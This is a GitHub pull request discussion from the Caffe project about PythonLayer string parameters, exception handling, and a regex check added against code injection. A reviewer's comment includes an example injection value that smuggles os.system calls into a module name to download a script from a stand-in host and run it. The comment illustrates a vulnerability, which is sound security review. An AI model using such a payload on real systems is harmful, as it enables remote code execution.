[Python] PythonLayer takes parameters by string and better exception handling #2001

tnarihi · 2015-02-28T04:01:36Z

This PR changes two things:

Exceptions are handled correctly. Please see commit messages for details.
PythonLayer can take parameters by string format through protobuf. You can see a example of how it can be used at python/caffe/test/test_python_layer_with_param_str.py that can be run make pytest.

I only tested this on my Ubuntu 14.04. I think it should work on different platform if you install boost and python correctly.

Please make sure to uncomment `WITH_PYTHON_LAYER=1` in Makefile.config before trying `PythonLayer`.

seanbell · 2015-02-28T20:23:28Z

src/caffe/layer_factory.cpp

-    bp::object layer = module.attr(param.python_param().layer().c_str())(param);
+    bp::object globals = bp::import("__main__").attr("__dict__");
+    bp::exec(("import " + module_name).c_str(), globals, globals);
+    bp::object layer_class = bp::eval((module_name + "." + layer_name).c_str(),


Isn't it dangerous to call eval and exec on user strings that haven't been checked for commands? That is, we should first validate that module_name and layer_name both match the regex ^[a-zA-Z_][a-zA-Z0-9_]*$. Without this check, injection attacks like this one are possible:

python_param { ... module: 'os; os.system("wget example.com/malicious.sh"); os.system("bash malicious.sh")' }

I understand that for most use cases, this isn't a concern, but I think it's good practice to avoid introducing unnecessary vulnerabilities.

Agreed with @seanbell that if we're going to eval/execit's worth doing a check like the one he suggests. Is it necessary to switch away from bp::import though? I'm not sure why it's needed, is it to load __dict__ first? Could param_str just be a string, and then Python layer writers could eval it as a dict on their own if they want it to take a dict?

@tnarihi explains the use of eval/exec in one of the commit messages ( tnarihi@64a2b04 )

Ah, thanks, missed that.

Thanks for commenting. I also agree with @seanbell . To avoid injections would be nice. I will modify it soon using boost regex. Thanks for giving me the regex pattern, @seanbell ! I will use this.

tnarihi · 2015-03-02T19:13:49Z

I just pushed the change to avoid injecting. I didn't add any test case but I checked it works manually.

By the way, I am wondering whether we should abort the process or should throw exception when invalid characters are found. I know Caffe doen't throw exceptions and many C++ people don't like to throw exceptions (but I don't know why). From Python perspective, it would be nicer if we could catch all Caffe errors. I know Google logging library always aborts if check failed. Besides that, is there any specific reason that Caffe does not throw? Is there any previous discussion regarding it?

seanbell · 2015-03-02T19:19:33Z

See #1683 for a discussion of exceptions vs fatal errors.

tnarihi · 2015-03-02T19:38:05Z

Thanks for the pointer, @seanbell.

tnarihi · 2015-03-03T18:25:31Z

Just committed so that regex allows to import nested modules.

Now we can keep the exception information on Python interpreter. This is usefull if you are working on Python interface. You can catch the right Exception class when error occurs in your `PythonLayer`. Now we don't use `PyErr_Print` that clears exceptions. We use `PyErr_Fetch` to get the information and `PyErr_Restore` to restore the exceptions back. And I find that `bp::import` or `bp::object::attr` breaks Python interpreter if a module or an attribute doesn't exist. We now use `bp::exec` and `bp::eval` to keep Python interpreter working even after errors occur. I got the hint from the following page. http://boost.2283326.n4.nabble.com/embedded-python-td2702335.html And I also modified to use `bp::object` for `self_` member.

* Modified Makefile to link boost_regex for PythonLayer. * Travis installs boost_regex * Add a note of a new dependency boost_regex on Makefile.config.example

stas-sl · 2015-04-08T15:10:33Z

cmake/Dependencies.cmake

@@ -128,6 +128,7 @@ if(BUILD_python)
  if(PYTHONLIBS_FOUND AND NUMPY_FOUND AND Boost_PYTHON_FOUND)
    set(HAVE_PYTHON TRUE)
    if(BUILD_python_layer)
+      find_package(Boost 1.46 COMPONENTS regex)


I changed this line in order to compile successfully with cmake:
find_package(Boost 1.46 COMPONENTS regex python)

Anyway thanks for the PR!

Thanks for the fix @stas-sl! Actually I didn't test that in my local since Travis test passed. I will modify it soon.

shelhamer · 2015-08-06T07:29:33Z

Closing now that #2456 #2462 and #2871 have cherry-picked or contributed alternatives. Thanks @tnarihi

tnarihi force-pushed the pythonlayer-parameter branch from 5a2cafa to 40dc686 Compare February 28, 2015 04:19

shelhamer added the JL label Feb 28, 2015

seanbell reviewed Feb 28, 2015
View reviewed changes

tnarihi force-pushed the pythonlayer-parameter branch from 431585b to 6d4f992 Compare March 2, 2015 19:09

tnarihi mentioned this pull request Mar 14, 2015

Reform the boost::python wrapper, including layers implemented in Python #1703

Merged

tnarihi mentioned this pull request Mar 30, 2015

[Python] release/acquire Global Interpreter Lock (GIL) #2230

Open

tnarihi changed the title ~~PythonLayer takes parameters by string and better exception handling~~ [Python] PythonLayer takes parameters by string and better exception handling Mar 30, 2015

tnarihi force-pushed the pythonlayer-parameter branch from 06f8278 to 29ffd98 Compare March 31, 2015 14:30

tnarihi added 4 commits March 31, 2015 11:58

PythonLayer takes parameters by string

38ddc14

Check injections in PythonLayer

bf5de76

* Modified Makefile to link boost_regex for PythonLayer. * Travis installs boost_regex * Add a note of a new dependency boost_regex on Makefile.config.example

PythonLayer allows to import nested modules

471e71d

tnarihi force-pushed the pythonlayer-parameter branch from 29ffd98 to 0cf8987 Compare March 31, 2015 18:58

stas-sl reviewed Apr 8, 2015
View reviewed changes

CMake dependency to boost regex

7b96527

tnarihi force-pushed the pythonlayer-parameter branch 2 times, most recently from 0b4f686 to 7b96527 Compare April 8, 2015 20:15

This was referenced May 14, 2015

Use bp::object instead of PyObject* for self in Python layer #2456

Merged

Handle Python layer exceptions correctly #2462

Merged

longjon mentioned this pull request Jun 18, 2015

Python net specification #2086

Merged

semisight mentioned this pull request Jul 14, 2015

Add arguments for PythonLayer #2767

Closed

shelhamer added the Python label Jul 17, 2015

longjon added the ES label Aug 5, 2015

shelhamer mentioned this pull request Aug 6, 2015

PythonLayer takes parameters by string #2871

Merged

shelhamer closed this Aug 6, 2015

seanbell mentioned this pull request Oct 23, 2017

The GIL isn't released when called from Python NVIDIA/caffe#390

Closed

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

[Python] PythonLayer takes parameters by string and better exception handling #2001

[Python] PythonLayer takes parameters by string and better exception handling #2001

tnarihi commented Feb 28, 2015

seanbell Feb 28, 2015

jeffdonahue Feb 28, 2015

seanbell Feb 28, 2015

jeffdonahue Feb 28, 2015

tnarihi Mar 2, 2015

tnarihi commented Mar 2, 2015

seanbell commented Mar 2, 2015

tnarihi commented Mar 2, 2015

tnarihi commented Mar 3, 2015

stas-sl Apr 8, 2015

tnarihi Apr 8, 2015

shelhamer commented Aug 6, 2015

[Python] PythonLayer takes parameters by string and better exception handling #2001

[Python] PythonLayer takes parameters by string and better exception handling #2001

Conversation

tnarihi commented Feb 28, 2015

Please make sure to uncomment WITH_PYTHON_LAYER=1 in Makefile.config before trying PythonLayer.

seanbell Feb 28, 2015

Choose a reason for hiding this comment

jeffdonahue Feb 28, 2015

Choose a reason for hiding this comment

seanbell Feb 28, 2015

Choose a reason for hiding this comment

jeffdonahue Feb 28, 2015

Choose a reason for hiding this comment

tnarihi Mar 2, 2015

Choose a reason for hiding this comment

tnarihi commented Mar 2, 2015

seanbell commented Mar 2, 2015

tnarihi commented Mar 2, 2015

tnarihi commented Mar 3, 2015

stas-sl Apr 8, 2015

Choose a reason for hiding this comment

tnarihi Apr 8, 2015

Choose a reason for hiding this comment

shelhamer commented Aug 6, 2015

Please make sure to uncomment `WITH_PYTHON_LAYER=1` in Makefile.config before trying `PythonLayer`.